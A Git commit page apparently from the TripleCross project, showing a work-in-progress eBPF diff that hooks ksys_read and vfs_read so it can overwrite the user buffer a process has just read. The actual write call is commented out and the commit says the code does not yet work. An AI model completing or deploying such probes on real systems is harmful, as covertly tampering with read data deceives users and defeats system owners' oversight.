admin/TripleCross
1
0
Fork 0
mirror of https://github.com/h3xduck/TripleCross.git synced 2025-12-22 09:43:07 +08:00
Code Issues Packages Projects Releases Wiki Activity

Added new probe to read the previously extracted params and overwrite user memory. Still now fully working, just a backup

Browse Source
This commit is contained in:
h3xduck
2022-01-14 22:05:08 -05:00
parent 106f141c7e
commit 945e2f2def
8 changed files with 60 additions and 1283 deletions
Download Patch File Download Diff File Expand all files Collapse all files

35
src/ebpf/include/bpf/fs.h
View File

@@ -29,12 +29,16 @@ static __always_inline int handle_sys_read(struct pt_regs *ctx, int fd, char* bu
.pid = pid
};
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
bpf_printk("PID: %u, FS:%u\n", pid, fd);
//bpf_printk("PID: %u, FS:%u\n", pid, fd);
return 0;
}
/**
* @brief Receives read event and stores the parameters into internal map
*
*/
SEC("kprobe/ksys_read")
int kprobe__64_sys_read(struct pt_regs *ctx) {
int kprobe_ksys_read(struct pt_regs *ctx) {
struct pt_regs *rctx = ctx;
if (!rctx) return 0;
int fd = (int) PT_REGS_PARM1(ctx);
@@ -42,4 +46,31 @@ int kprobe__64_sys_read(struct pt_regs *ctx) {
return handle_sys_read(ctx, fd, buf);
}
/**
* @brief Called AFTER the ksys_read call, checks the internal
* map for the tgid+pid used and extracts the parameters.
* Uses the user-space buffer reference for overwritting the returned
* values.
*
*/
SEC("kretprobe/vfs_read")
int kretprobe_vfs_read(struct pt_regs *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
if (data!=NULL){
//Not found
return -1;
}
//Overwritting a byte of the buffer
char *buf = data->buf;
char *msg = "OOOOOOOOOOOOO";
bpf_printk("Overwritting at pid %u\n", data->pid);
//int err = bpf_probe_write_user((void*)buf, (void*)msg, (__u32)1);
return 0;
}
#endif